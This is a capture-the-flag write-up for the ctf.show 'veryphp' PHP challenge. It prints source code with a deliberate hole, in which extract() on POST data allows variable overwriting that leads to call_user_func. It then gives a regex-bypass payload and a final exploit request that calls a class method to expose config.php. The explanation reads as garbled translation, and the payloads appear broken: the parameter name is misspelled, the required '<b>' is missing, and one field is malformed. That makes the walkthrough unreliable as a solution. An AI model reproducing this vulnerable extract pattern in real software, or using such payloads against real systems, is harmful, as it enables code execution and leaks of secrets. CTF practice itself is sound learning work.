ctf.show_veryphp

Source code

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    
    
    function __wakeup(){
    
    
        die("Access Denied!");
    }
    static function oao(){
    
    
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    
    
    die("I am sorry but you have to leave.");
}else{
    
    
    extract($_POST);
}
if(isset($shaw_root)){
    
    
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
    
    
        echo $hint;
    }else{
    
    
        echo "Almost there."."<br>";
    }
}else{
    
    
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    
    
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

1. The first preg_match filter is str, which is not considered because it is uncontrollable.
2. The second preg_match is a regular match. You can go to this URL to match the URL . There is a php feature that can be changed into _ if you pass in special characters, such as spaces and plus signs, which are done with spaces here.

PAyload：show root=-e9999999999>>>>abcphp@Rsr

3. After passing in, we can get a prompt, but the prompt is to let us run the password. It takes a lot of time. The previous extract function can be used here, and the following conditions can be satisfied by overriding the variable.
So the final payload is

show root=-e9999999999>>>>abcphp@Rsr&ans=1&=SecretNumber=1&my_ans=qwq::oao